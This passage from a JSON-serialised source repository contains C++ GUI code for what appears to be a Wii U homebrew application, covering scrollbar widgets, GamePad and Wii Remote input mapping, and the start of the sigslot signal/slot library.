0x0100,\n        BUTTON_ZL       = 0x0080,\n        BUTTON_ZR       = 0x0040,\n        BUTTON_L        = 0x0020,\n        BUTTON_R        = 0x0010,\n        BUTTON_PLUS     = 0x0008,\n        BUTTON_MINUS    = 0x0004,\n        BUTTON_HOME     = 0x0002,\n        BUTTON_SYNC     = 0x0001,\n        STICK_R_LEFT    = 0x04000000,\n        STICK_R_RIGHT   = 0x02000000,\n        STICK_R_UP      = 0x01000000,\n        STICK_R_DOWN    = 0x00800000,\n        STICK_L_LEFT    = 0x40000000,\n        STICK_L_RIGHT   = 0x20000000,\n        STICK_L_UP      = 0x10000000,\n        STICK_L_DOWN    = 0x08000000\n    };\n\n    //!Constructor\n    GuiTrigger();\n    //!Constructor\n    GuiTrigger(u32 ch, u32 btns, bool clickEverywhere = false, bool holdEverywhere = false, bool selectionClickEverywhere = false);\n    //!Destructor\n    virtual ~GuiTrigger();\n    //!Sets a simple trigger. Requires: element is selected, and trigger button is pressed\n    void setTrigger(u32 ch, u32 btns);\n\n    void setClickEverywhere(bool b) { bClickEverywhere = b; }\n    void setHoldOnly(bool b) { bHoldEverywhere = b; }\n    void setSelectionClickEverywhere(bool b) { bSelectionClickEverywhere = b; }\n\n    bool isClickEverywhere() const { return bClickEverywhere; }\n    bool isHoldEverywhere() const { return bHoldEverywhere; }\n    bool isSelectionClickEverywhere() const { return bSelectionClickEverywhere; }\n\n    bool left(const GuiController *controller) const;\n    bool right(const GuiController *controller) const;\n    bool up(const GuiController *controller) const;\n    bool down(const GuiController *controller) const;\n    s32 clicked(const GuiController *controller) const;\n    bool held(const GuiController *controller) const;\n    bool released(const GuiController *controller) const;\nprivate:\n    u32 chan;\n    u32 btns;\n    bool bClickEverywhere;\n    bool bHoldEverywhere;\n    bool bSelectionClickEverywhere;\n    bool bLastTouched;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/Scrollbar.cpp",
    "content": "/***************************************************************************\n * Copyright (C) 2011\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#include \"Scrollbar.h\"\n#include \"resources/Resources.h\"\n\nScrollbar::Scrollbar(s32 h)\n    : touchTrigger(GuiTrigger::CHANNEL_1, GuiTrigger::VPAD_TOUCH)\n    , wpadTouchTrigger(GuiTrigger::CHANNEL_2 | GuiTrigger::CHANNEL_3 | GuiTrigger::CHANNEL_4 | GuiTrigger::CHANNEL_5, GuiTrigger::BUTTON_A)\n{\n\tSelItem = 0;\n\tSelInd = 0;\n\tPageSize = 0;\n\tEntrieCount = 0;\n\tScrollSpeed = 15;\n\tScrollState = 0;\n\n\tlistChanged.connect(this, &Scrollbar::setScrollboxPosition);\n\n\tbtnSoundClick = Resources::GetSound(\"button_click.mp3\");\n\tscrollbarLine = Resources::GetImageData(\"scrollbarLine.png\");\n\tarrowDown = Resources::GetImageData(\"scrollbarArrowDown.png\");\n\tarrowUp = Resources::GetImageData(\"scrollbarArrowUp.png\");\n\tscrollbarBox = Resources::GetImageData(\"scrollbarButton.png\");\n\n\theight = h;\n\twidth = scrollbarBox->getWidth();\n\n\tMaxHeight = height * 0.5f - (scrollbarBox ? (scrollbarBox->getHeight() * 0.5f) : 0) - (arrowUp ? arrowUp->getHeight() : 0);\n\tMinHeight = -height * 0.5f + (scrollbarBox ? (scrollbarBox->getHeight() * 0.5f) : 0) + (arrowDown ? arrowDown->getHeight() : 0);\n\n\tscrollbarLineImg = new GuiImage(scrollbarLine);\n\tscrollbarLineImg->setParent(this);\n\tscrollbarLineImg->setAlignment(ALIGN_CENTER | ALIGN_MIDDLE);\n\tscrollbarLineImg->setPosition(0, 0);\n\n\tarrowDownImg = new GuiImage(arrowDown);\n\tarrowUpImg = new GuiImage(arrowUp);\n\tscrollbarBoxImg = new GuiImage(scrollbarBox);\n\n\tarrowUpBtn = new GuiButton(arrowUpImg->getWidth(), arrowUpImg->getHeight());\n\tarrowUpBtn->setParent(this);\n\tarrowUpBtn->setImage(arrowUpImg);\n\tarrowUpBtn->setAlignment(ALIGN_CENTER | ALIGN_TOP);\n\tarrowUpBtn->setPosition(0, 0);\n\tarrowUpBtn->setTrigger(&touchTrigger, 0);\n\tarrowUpBtn->setTrigger(&wpadTouchTrigger, 1);\n\tarrowUpBtn->setSoundClick(btnSoundClick);\n\tarrowUpBtn->setEffectGrow();\n\tarrowUpBtn->clicked.connect(this, &Scrollbar::OnUpButtonClick);\n\n\tarrowDownBtn = new GuiButton(arrowDownImg->getWidth(), arrowDownImg->getHeight());\n\tarrowDownBtn->setParent(this);\n\tarrowDownBtn->setImage(arrowDownImg);\n\tarrowDownBtn->setAlignment(ALIGN_CENTER | ALIGN_BOTTOM);\n\tarrowDownBtn->setPosition(0, 0);\n\tarrowDownBtn->setTrigger(&touchTrigger, 0);\n\tarrowDownBtn->setTrigger(&wpadTouchTrigger, 1);\n\tarrowDownBtn->setSoundClick(btnSoundClick);\n\tarrowDownBtn->setEffectGrow();\n\tarrowDownBtn->clicked.connect(this, &Scrollbar::OnDownButtonClick);\n\n\tscrollbarBoxBtn = new GuiButton(scrollbarBoxImg->getWidth(), height);\n\tscrollbarBoxBtn->setParent(this);\n\tscrollbarBoxBtn->setImage(scrollbarBoxImg);\n\tscrollbarBoxBtn->setAlignment(ALIGN_CENTER | ALIGN_TOP);\n\tscrollbarBoxBtn->setPosition(0, MaxHeight);\n\tscrollbarBoxBtn->setHoldable(true);\n\tscrollbarBoxBtn->setTrigger(&touchTrigger, 0);\n\tscrollbarBoxBtn->setTrigger(&wpadTouchTrigger, 1);\n\tscrollbarBoxBtn->setEffectGrow();\n\tscrollbarBoxBtn->held.connect(this, &Scrollbar::OnBoxButtonHold);\n}\n\nScrollbar::~Scrollbar()\n{\n\tResources::RemoveSound(btnSoundClick);\n\tResources::RemoveImageData(scrollbarLine);\n\tResources::RemoveImageData(arrowDown);\n\tResources::RemoveImageData(arrowUp);\n\tResources::RemoveImageData(scrollbarBox);\n\n\tdelete arrowUpBtn;\n\tdelete arrowDownBtn;\n\tdelete scrollbarBoxBtn;\n\n\tdelete scrollbarLineImg;\n\n\tdelete arrowDownImg;\n\tdelete arrowUpImg;\n\tdelete scrollbarBoxImg;\n}\n\nvoid Scrollbar::ScrollOneUp()\n{\n    if(SelItem == 0 && SelInd > 0)\n    {\n        // move list up by 1\n        --SelInd;\n    }\n    else if(SelInd+SelItem > 0)\n    {\n        --SelItem;\n    }\n}\n\nvoid Scrollbar::ScrollOneDown()\n{\n    if(SelInd+SelItem + 1 < EntrieCount)\n    {\n        if(SelItem == PageSize-1)\n        {\n            // move list down by 1\n            SelInd++;\n        }\n        else\n        {\n            SelItem++;\n        }\n    }\n}\n\nvoid Scrollbar::OnUpButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif(ScrollState < ScrollSpeed)\n\t\treturn;\n\n\tScrollOneUp();\n\n\tScrollState = 0;\n\tlistChanged(SelItem, SelInd);\n}\n\nvoid Scrollbar::OnDownButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n\tif(ScrollState < ScrollSpeed)\n\t\treturn;\n\n\tScrollOneDown();\n\n\tScrollState = 0;\n\tlistChanged(SelItem, SelInd);\n}\n\nvoid Scrollbar::OnBoxButtonHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger)\n{\n    if(EntrieCount == 0){\n        return;\n    }\n\n\tif(!controller->data.validPointer){\n\t\treturn;\n    }\n\n\ts32 y = controller->data.y - this->getCenterY();\n\n\ts32 positionWiimote = LIMIT(y - MinHeight, 0, MaxHeight - MinHeight);\n\n\ts32 newSelected = (EntrieCount - 1) - (s32) ((float) positionWiimote / (float) (MaxHeight-MinHeight) * (float) (EntrieCount-1));\n\n    s32 diff = newSelected-SelInd-SelItem;\n\n    if(newSelected <= 0)\n    {\n        SelItem = 0;\n        SelInd = 0;\n    }\n    else if(newSelected >= EntrieCount-1)\n    {\n        SelItem = (PageSize-1 < EntrieCount-1) ? PageSize-1 : EntrieCount-1;\n        SelInd = EntrieCount-PageSize;\n    }\n    else if(newSelected < PageSize && SelInd == 0 && diff < 0)\n    {\n        SelItem = std::max(SelItem+diff, (s32)0);\n    }\n    else if(EntrieCount-newSelected < PageSize && SelInd == EntrieCount-PageSize && diff > 0)\n    {\n        SelItem = std::min(SelItem+diff, PageSize-1);\n    }\n    else\n    {\n        SelInd = LIMIT(SelInd+diff, 0, ((EntrieCount-PageSize < 0) ? 0 : EntrieCount-PageSize));\n    }\n\n\tScrollState = 0;\n\tlistChanged(SelItem, SelInd);\n}\n\nvoid Scrollbar::SetPageSize(s32 size)\n{\n\tif(PageSize == size)\n\t\treturn;\n\n\tPageSize = size;\n\tlistChanged(SelItem, SelInd);\n}\n\nvoid Scrollbar::SetSelectedItem(s32 pos)\n{\n\tif(SelItem == pos)\n\t\treturn;\n\n\tSelItem = LIMIT(pos, 0, EntrieCount-1);\n\tlistChanged(SelItem, SelInd);\n}\n\nvoid Scrollbar::SetSelectedIndex(s32 pos)\n{\n\tif(SelInd == pos)\n\t\treturn;\n\n\tSelInd = pos;\n\tlistChanged(SelItem, SelInd);\n}\n\nvoid Scrollbar::SetEntrieCount(s32 cnt)\n{\n\tif(EntrieCount == cnt)\n\t\treturn;\n\n\tEntrieCount = cnt;\n\tlistChanged(SelItem, SelInd);\n}\n\nvoid Scrollbar::setScrollboxPosition(s32 SelItem, s32 SelInd)\n{\n    s32 position = MaxHeight-(MaxHeight-MinHeight)*(SelInd+SelItem)/(EntrieCount-1);\n\n    if(position < MinHeight || (SelInd+SelItem >= EntrieCount-1))\n        position = MinHeight;\n    else if(position > MaxHeight || (SelInd+SelItem) == 0)\n        position = MaxHeight;\n\n    scrollbarBoxBtn->setPosition(0, position);\n}\n\nvoid Scrollbar::draw(CVideo * video)\n{\n\tscrollbarLineImg->draw(video);\n\tarrowUpBtn->draw(video);\n\tarrowDownBtn->draw(video);\n\tscrollbarBoxBtn->draw(video);\n\n\tupdateEffects();\n}\n\nvoid Scrollbar::update(GuiController * t)\n{\n\tif(this->isStateSet(STATE_DISABLED))\n\t\treturn;\n\n\tarrowUpBtn->update(t);\n\tarrowDownBtn->update(t);\n\tscrollbarBoxBtn->update(t);\n\n\t++ScrollState;\n}\n\n"
  },
  {
    "path": "src/gui/Scrollbar.h",
    "content": "/***************************************************************************\n * Copyright (C) 2011\n * by Dimok\n *\n * This software is provided 'as-is', without any express or implied\n * warranty. In no event will the authors be held liable for any\n * damages arising from the use of this software.\n *\n * Permission is granted to anyone to use this software for any\n * purpose, including commercial applications, and to alter it and\n * redistribute it freely, subject to the following restrictions:\n *\n * 1. The origin of this software must not be misrepresented; you\n * must not claim that you wrote the original software. If you use\n * this software in a product, an acknowledgment in the product\n * documentation would be appreciated but is not required.\n *\n * 2. Altered source versions must be plainly marked as such, and\n * must not be misrepresented as being the original software.\n *\n * 3. This notice may not be removed or altered from any source\n * distribution.\n ***************************************************************************/\n#ifndef SCROLLBAR_HPP_\n#define SCROLLBAR_HPP_\n\n#include \"gui/GuiElement.h\"\n#include \"gui/GuiButton.h\"\n\nclass Scrollbar : public GuiElement, public sigslot::has_slots<>\n{\n\tpublic:\n\t\tScrollbar(s32 height);\n\t\tvirtual ~Scrollbar();\n\t\tvoid ScrollOneUp();\n\t\tvoid ScrollOneDown();\n\t\ts32 GetSelectedItem() { return SelItem; }\n\t\ts32 GetSelectedIndex() { return SelInd; }\n\t\tvoid draw(CVideo * video);\n\t\tvoid update(GuiController * t);\n\n\t\t//! Signals\n\t\tsigslot::signal2<s32, s32> listChanged;\n\t\t//! Slots\n\t\tvoid SetPageSize(s32 size);\n\t\tvoid SetRowSize(s32 size);\n\t\tvoid SetSelectedItem(s32 pos);\n\t\tvoid SetSelectedIndex(s32 pos);\n\t\tvoid SetEntrieCount(s32 cnt);\n\tprotected:\n\t\tvoid setScrollboxPosition(s32 SelItem, s32 SelInd);\n\t\tvoid OnUpButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\t\tvoid OnDownButtonClick(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\t\tvoid OnBoxButtonHold(GuiButton *button, const GuiController *controller, GuiTrigger *trigger);\n\n\t\tu32 ScrollState;\n\t\tu16 ScrollSpeed;\n\n\t\ts32 MinHeight;\n\t\ts32 MaxHeight;\n\t\ts32 SelItem;\n\t\ts32 SelInd;\n\t\ts32 PageSize;\n\t\ts32 EntrieCount;\n\t\ts32 pressedChan;\n\n\t\tGuiButton * arrowUpBtn;\n\t\tGuiButton * arrowDownBtn;\n\t\tGuiButton * scrollbarBoxBtn;\n\t\tGuiImage * scrollbarLineImg;\n\t\tGuiImage * arrowDownImg;\n\t\tGuiImage * arrowUpImg;\n\t\tGuiImage * scrollbarBoxImg;\n\t\tGuiImageData * scrollbarLine;\n\t\tGuiImageData * arrowDown;\n\t\tGuiImageData * arrowUp;\n\t\tGuiImageData * scrollbarBox;\n\t\tGuiSound * btnSoundClick;\n\n\t\tGuiTrigger touchTrigger;\n\t\tGuiTrigger wpadTouchTrigger;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/VPadController.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef VPAD_CONTROLLER_H_\n#define VPAD_CONTROLLER_H_\n\n#include \"GuiController.h\"\n#include \"dynamic_libs/vpad_functions.h\"\n\nclass VPadController : public GuiController\n{\npublic:\n    //!Constructor\n    VPadController(s32 channel)\n        : GuiController(channel)\n    {\n        memset(&vpad, 0, sizeof(vpad));\n    }\n\n    //!Destructor\n    virtual ~VPadController()  {}\n\n    bool update(s32 width, s32 height)\n    {\n        lastData = data;\n\n        s32 vpadError = -1;\n        VPADRead(0, &vpad, 1, &vpadError);\n\n        if(vpadError == 0){\n            data.buttons_r = vpad.btns_r;\n            data.buttons_h = vpad.btns_h;\n            data.buttons_d = vpad.btns_d;\n            data.validPointer = !vpad.tpdata.invalid;\n            data.touched = vpad.tpdata.touched;\n\n            VPADGetTPCalibratedPoint(0, &tpCalib, &vpad.tpdata1);\n\n            //! calculate the screen offsets\n            data.x = -(width >> 1) + (s32)(((float)tpCalib.x / 1280.0f) * (float)width);\n            data.y = -(height >> 1) + (s32)(float)height - (((float)tpCalib.y / 720.0f) * (float)height);\n\n            return true;\n        }\n        return false;\n    }\n\nprivate:\n    VPADData vpad;\n    VPADTPData tpCalib;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/WPadController.h",
    "content": "/****************************************************************************\n * Copyright (C) 2015 Dimok\n *\n * This program is free software: you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation, either version 3 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>.\n ****************************************************************************/\n#ifndef WPAD_CONTROLLER_H_\n#define WPAD_CONTROLLER_H_\n\n#include \"GuiController.h\"\n#include \"dynamic_libs/padscore_functions.h\"\n\nclass WPadController : public GuiController\n{\npublic:\n    //!Constructor\n    WPadController(s32 channel)\n        : GuiController(channel)\n    {\n        memset(&kpadData, 0, sizeof(kpadData));\n    }\n\n    //!Destructor\n    virtual ~WPadController()  {}\n\n    u32 remapWiiMoteButtons(u32 buttons)\n    {\n        u32 conv_buttons = 0;\n\n        if(buttons & WPAD_BUTTON_LEFT)\n            conv_buttons |= GuiTrigger::BUTTON_LEFT;\n\n        if(buttons & WPAD_BUTTON_RIGHT)\n            conv_buttons |= GuiTrigger::BUTTON_RIGHT;\n\n        if(buttons & WPAD_BUTTON_DOWN)\n            conv_buttons |= GuiTrigger::BUTTON_DOWN;\n\n        if(buttons & WPAD_BUTTON_UP)\n            conv_buttons |= GuiTrigger::BUTTON_UP;\n\n        if(buttons & WPAD_BUTTON_PLUS)\n            conv_buttons |= GuiTrigger::BUTTON_PLUS;\n\n        if(buttons & WPAD_BUTTON_2)\n            conv_buttons |= GuiTrigger::BUTTON_2;\n\n        if(buttons & WPAD_BUTTON_1)\n            conv_buttons |= GuiTrigger::BUTTON_1;\n\n        if(buttons & WPAD_BUTTON_B)\n            conv_buttons |= GuiTrigger::BUTTON_B;\n\n        if(buttons & WPAD_BUTTON_A)\n            conv_buttons |= GuiTrigger::BUTTON_A;\n\n        if(buttons & WPAD_BUTTON_MINUS)\n            conv_buttons |= GuiTrigger::BUTTON_MINUS;\n\n        if(buttons & WPAD_BUTTON_Z)\n            conv_buttons |= GuiTrigger::BUTTON_Z;\n\n        if(buttons & WPAD_BUTTON_C)\n            conv_buttons |= GuiTrigger::BUTTON_C;\n\n        if(buttons & WPAD_BUTTON_HOME)\n            conv_buttons |= GuiTrigger::BUTTON_HOME;\n\n        return conv_buttons;\n    }\n    u32 remapClassicButtons(u32 buttons)\n    {\n        u32 conv_buttons = 0;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_LEFT)\n            conv_buttons |= GuiTrigger::BUTTON_LEFT;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_RIGHT)\n            conv_buttons |= GuiTrigger::BUTTON_RIGHT;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_DOWN)\n            conv_buttons |= GuiTrigger::BUTTON_DOWN;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_UP)\n            conv_buttons |= GuiTrigger::BUTTON_UP;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_PLUS)\n            conv_buttons |= GuiTrigger::BUTTON_PLUS;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_X)\n            conv_buttons |= GuiTrigger::BUTTON_X;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_Y)\n            conv_buttons |= GuiTrigger::BUTTON_Y;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_B)\n            conv_buttons |= GuiTrigger::BUTTON_B;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_A)\n            conv_buttons |= GuiTrigger::BUTTON_A;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_MINUS)\n            conv_buttons |= GuiTrigger::BUTTON_MINUS;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_HOME)\n            conv_buttons |= GuiTrigger::BUTTON_HOME;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_ZR)\n            conv_buttons |= GuiTrigger::BUTTON_ZR;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_ZL)\n            conv_buttons |= GuiTrigger::BUTTON_ZL;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_R)\n            conv_buttons |= GuiTrigger::BUTTON_R;\n\n        if(buttons & WPAD_CLASSIC_BUTTON_L)\n            conv_buttons |= GuiTrigger::BUTTON_L;\n\n        return conv_buttons;\n    }\n\n    bool update(s32 width, s32 height)\n    {\n        lastData = data;\n\n        u32 controller_type;\n\n        //! check if the controller is connected\n        if(WPADProbe(chanIdx-1, &controller_type) != 0)\n            return false;\n\n        KPADRead(chanIdx-1, &kpadData, 1);\n\n        if(kpadData.device_type <= 1)\n        {\n            data.buttons_r = remapWiiMoteButtons(kpadData.btns_r);\n            data.buttons_h = remapWiiMoteButtons(kpadData.btns_h);\n            data.buttons_d = remapWiiMoteButtons(kpadData.btns_d);\n        }\n        else\n        {\n            data.buttons_r = remapClassicButtons(kpadData.classic.btns_r);\n            data.buttons_h = remapClassicButtons(kpadData.classic.btns_h);\n            data.buttons_d = remapClassicButtons(kpadData.classic.btns_d);\n        }\n\n        data.validPointer = (kpadData.pos_valid == 1 || kpadData.pos_valid == 2) && (kpadData.pos_x >= -1.0f && kpadData.pos_x <= 1.0f) && (kpadData.pos_y >= -1.0f && kpadData.pos_y <= 1.0f);\n        //! calculate the screen offsets if pointer is valid else leave old value\n        if(data.validPointer)\n        {\n            data.x = (width >> 1) * kpadData.pos_x;\n            data.y = (height >> 1) * (-kpadData.pos_y);\n\n            if(kpadData.angle_y > 0.0f)\n                data.pointerAngle = (-kpadData.angle_x + 1.0f) * 0.5f * 180.0f;\n            else\n                data.pointerAngle = (kpadData.angle_x + 1.0f) * 0.5f * 180.0f - 180.0f;\n        }\n\n        return true;\n    }\n\nprivate:\n    KPADData kpadData;\n    u32 lastButtons;\n};\n\n#endif\n"
  },
  {
    "path": "src/gui/sigslot.h",
    "content": "// sigslot.h: Signal/Slot classes\n//\n// Written by Sarah Thompson (sarah@telergy.com) 2002.\n//\n// License: Public domain. You are free to use this code however you like, with the proviso that\n//\t\t  the author takes on no responsibility or liability for any use.\n//\n// QUICK DOCUMENTATION\n//\n//\t\t\t\t(see also the full documentation at http://sigslot.sourceforge.net/)\n//\n//\t\t#define switches\n//\t\t\tSIGSLOT_PURE_ISO\t\t\t- Define this to force ISO C++ compliance. This also disables\n//\t\t\t\t\t\t\t\t\t\t  all of the thread safety support on platforms where it is\n//\t\t\t\t\t\t\t\t\t\t  available.\n//\n//\t\t\tSIGSLOT_USE_POSIX_THREADS\t- Force use of Posix threads when using a C++ compiler other than\n//\t\t\t\t\t\t\t\t\t\t  gcc on a platform that supports Posix threads. (When using gcc,\n//\t\t\t\t\t\t\t\t\t\t  this is the default - use SIGSLOT_PURE_ISO to disable this if\n//\t\t\t\t\t\t\t\t\t\t  necessary)\n//\n//\t\t\tSIGSLOT_DEFAULT_MT_POLICY\t- Where thread support is enabled, this defaults to multi_threaded_global.\n//\t\t\t\t\t\t\t\t\t\t  Otherwise, the default is single_threaded. #define this yourself to\n//\t\t\t\t\t\t\t\t\t\t  override the default. In pure ISO mode, anything other than\n//\t\t\t\t\t\t\t\t\t\t  single_threaded will cause a compiler error.\n//\n//\t\tPLATFORM NOTES\n//\n//\t\t\tWin32\t\t\t\t\t\t- On Win32, the WIN32 symbol must be #defined. Most mainstream\n//\t\t\t\t\t\t\t\t\t\t  compilers do this by default, but you may need to define it\n//\t\t\t\t\t\t\t\t\t\t  yourself if your build environment is less standard. This causes\n//\t\t\t\t\t\t\t\t\t\t  the Win32 thread support to be compiled in and used automatically.\n//\n//\t\t\tUnix/Linux/BSD, etc.\t\t- If you're using gcc, it is assumed that you have Posix threads\n//\t\t\t\t\t\t\t\t\t\t  available, so they are used automatically. You can override this\n//\t\t\t\t\t\t\t\t\t\t  (as under Windows) with the SIGSLOT_PURE_ISO switch. If you're using\n//\t\t\t\t\t\t\t\t\t\t  something other than gcc but still want to use Posix threads, you\n//\t\t\t\t\t\t\t\t\t\t  need to #define SIGSLOT_USE_POSIX_THREADS.\n//\n//\t\t\tISO C++\t\t\t\t\t\t- If none of the supported platforms are detected, or if\n//\t\t\t\t\t\t\t\t\t\t  SIGSLOT_PURE_ISO is defined, all multithreading support is turned off,\n//\t\t\t\t\t\t\t\t\t\t  along with any code that might cause a pure ISO C++ environment to\n//\t\t\t\t\t\t\t\t\t\t  complain. Before you ask, gcc -ansi -pedantic won't compile this\n//\t\t\t\t\t\t\t\t\t\t  library, but gcc -ansi is fine. Pedantic mode seems to throw a lot of\n//\t\t\t\t\t\t\t\t\t\t  errors that aren't really there. If you feel like investigating this,\n//\t\t\t\t\t\t\t\t\t\t  please contact the author.\n//\n//\n//\t\tTHREADING MODES\n//\n//\t\t\tsingle_threaded\t\t\t\t- Your program is assumed to be single threaded from the point of view\n//\t\t\t\t\t\t\t\t\t\t  of signal/slot usage (i.e. all objects using signals and slots are\n//\t\t\t\t\t\t\t\t\t\t  created and destroyed from a single thread). Behaviour if objects are\n//\t\t\t\t\t\t\t\t\t\t  destroyed concurrently is undefined (i.e. you'll get the occasional\n//\t\t\t\t\t\t\t\t\t\t  segmentation fault/memory exception).\n//\n//\t\t\tmulti_threaded_global\t\t- Your program is assumed to be multi threaded. Objects using signals and\n//\t\t\t\t\t\t\t\t\t\t  slots can be safely created and destroyed from any thread, even when\n//\t\t\t\t\t\t\t\t\t\t  connections exist. In multi_threaded_global mode, this is achieved by a\n//\t\t\t\t\t\t\t\t\t\t  single global mutex (actually a critical section on Windows because they\n//\t\t\t\t\t\t\t\t\t\t  are faster). This option uses less OS resources, but results in more\n//\t\t\t\t\t\t\t\t\t\t  opportunities for contention, possibly resulting in more context switches\n//\t\t\t\t\t\t\t\t\t\t  than are strictly necessary.\n//\n//\t\t\tmulti_threaded_local\t\t- Behaviour in this mode is essentially the same as multi_threaded_global,\n//\t\t\t\t\t\t\t\t\t\t  except that each signal, and each object that inherits has_slots, all\n//\t\t\t\t\t\t\t\t\t\t  have their own mutex/critical section. In practice, this means that\n//\t\t\t\t\t\t\t\t\t\t  mutex collisions (and hence context switches) only happen if they are\n//\t\t\t\t\t\t\t\t\t\t  absolutely essential. However, on some platforms, creating a lot of\n//\t\t\t\t\t\t\t\t\t\t  mutexes can slow down the whole OS, so use this option with care.\n//\n//\t\tUSING THE LIBRARY\n//\n//\t\t\tSee the full documentation at http://sigslot.sourceforge.net/\n//\n//\n#ifndef SIGSLOT_H__\n#define SIGSLOT_H__\n\n#include <set>\n#include <list>\n\n#define _SIGSLOT_SINGLE_THREADED\n\n#ifndef SIGSLOT_DEFAULT_MT_POLICY\n#\tifdef _SIGSLOT_SINGLE_THREADED\n#\t\tdefine SIGSLOT_DEFAULT_MT_POLICY single_threaded\n#\telse\n#\t\tdefine SIGSLOT_DEFAULT_MT_POLICY multi_threaded_local\n#\tendif\n#endif\n\n\nnamespace sigslot {\n\n\tclass single_threaded\n\t{\n\tpublic:\n\t\tsingle_threaded()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~single_threaded()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual void lock()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual void unlock()\n\t\t{\n\t\t\t;\n\t\t}\n\t};\n\n#ifdef _SIGSLOT_HAS_WIN32_THREADS\n\t// The multi threading policies only get compiled in if they are enabled.\n\tclass multi_threaded_global\n\t{\n\tpublic:\n\t\tmulti_threaded_global()\n\t\t{\n\t\t\tstatic bool isinitialised = false;\n\n\t\t\tif(!isinitialised)\n\t\t\t{\n\t\t\t\tInitializeCriticalSection(get_critsec());\n\t\t\t\tisinitialised = true;\n\t\t\t}\n\t\t}\n\n\t\tmulti_threaded_global(const multi_threaded_global&)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~multi_threaded_global()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual void lock()\n\t\t{\n\t\t\tEnterCriticalSection(get_critsec());\n\t\t}\n\n\t\tvirtual void unlock()\n\t\t{\n\t\t\tLeaveCriticalSection(get_critsec());\n\t\t}\n\n\tprivate:\n\t\tCRITICAL_SECTION* get_critsec()\n\t\t{\n\t\t\tstatic CRITICAL_SECTION g_critsec;\n\t\t\treturn &g_critsec;\n\t\t}\n\t};\n\n\tclass multi_threaded_local\n\t{\n\tpublic:\n\t\tmulti_threaded_local()\n\t\t{\n\t\t\tInitializeCriticalSection(&m_critsec);\n\t\t}\n\n\t\tmulti_threaded_local(const multi_threaded_local&)\n\t\t{\n\t\t\tInitializeCriticalSection(&m_critsec);\n\t\t}\n\n\t\tvirtual ~multi_threaded_local()\n\t\t{\n\t\t\tDeleteCriticalSection(&m_critsec);\n\t\t}\n\n\t\tvirtual void lock()\n\t\t{\n\t\t\tEnterCriticalSection(&m_critsec);\n\t\t}\n\n\t\tvirtual void unlock()\n\t\t{\n\t\t\tLeaveCriticalSection(&m_critsec);\n\t\t}\n\n\tprivate:\n\t\tCRITICAL_SECTION m_critsec;\n\t};\n#endif // _SIGSLOT_HAS_WIN32_THREADS\n\n#ifdef _SIGSLOT_HAS_POSIX_THREADS\n\t// The multi threading policies only get compiled in if they are enabled.\n\tclass multi_threaded_global\n\t{\n\tpublic:\n\t\tmulti_threaded_global()\n\t\t{\n\t\t\tpthread_mutex_init(get_mutex(), NULL);\n\t\t}\n\n\t\tmulti_threaded_global(const multi_threaded_global&)\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual ~multi_threaded_global()\n\t\t{\n\t\t\t;\n\t\t}\n\n\t\tvirtual void lock()\n\t\t{\n\t\t\tpthread_mutex_lock(get_mutex());\n\t\t}\n\n\t\tvirtual void unlock()\n\t\t{\n\t\t\tpthread_mutex_unlock(get_mutex());\n\t\t}\n\n\tprivate:\n\t\tpthread_mutex_t* get_mutex()\n\t\t{\n\t\t\tstatic pthread_mutex_t g_mutex;\n\t\t\treturn &g_mutex;\n\t\t}\n\t};\n\n\tclass multi_threaded_local\n\t{\n\tpublic:\n\t\tmulti_threaded_local()\n\t\t{\n\t\t\tpthread_mutex_init(&m_mutex, NULL);\n\t\t}\n\n\t\tmulti_threaded_local(const 